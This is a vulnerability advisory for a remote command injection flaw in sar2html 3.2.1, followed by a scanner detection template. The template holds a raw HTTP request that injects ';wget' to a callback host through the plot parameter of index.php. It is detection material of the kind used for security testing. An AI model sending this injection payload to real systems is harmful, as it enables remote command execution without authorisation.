SAR2HTML could allow a remote attacker to execute arbitrary commands on the system via a command injection flaw in the index.php script. By sending specially-crafted commands, an attacker could exploit this vulnerability to execute arbitrary commands on the system.
PoC代码[已公开]
id: sar2html-rce
info:
name: sar2html 3.2.1 - Remote Command Injection
author: gy741
severity: critical
description: |
SAR2HTML could allow a remote attacker to execute arbitrary commands on the system via a command injection flaw in the index.php script. By sending specially-crafted commands, an attacker could exploit this vulnerability to execute arbitrary commands on the system.
reference:
- https://www.exploit-db.com/exploits/49344
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-77
metadata:
max-request: 1
tags: sar2html,rce,oast,edb,vuln
http:
- raw:
- |
GET /index.php?plot=;wget%20http://{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4a0a00473045022100d281563446b6b982e679b892da78e86abe6d2d16147d2eb7072a2fb74f452488022027413fe9bd7876b50b35da5a575c41a12b122070598fa6315d2097e2a386a673:922c64590222798bb761d5b6d8e72950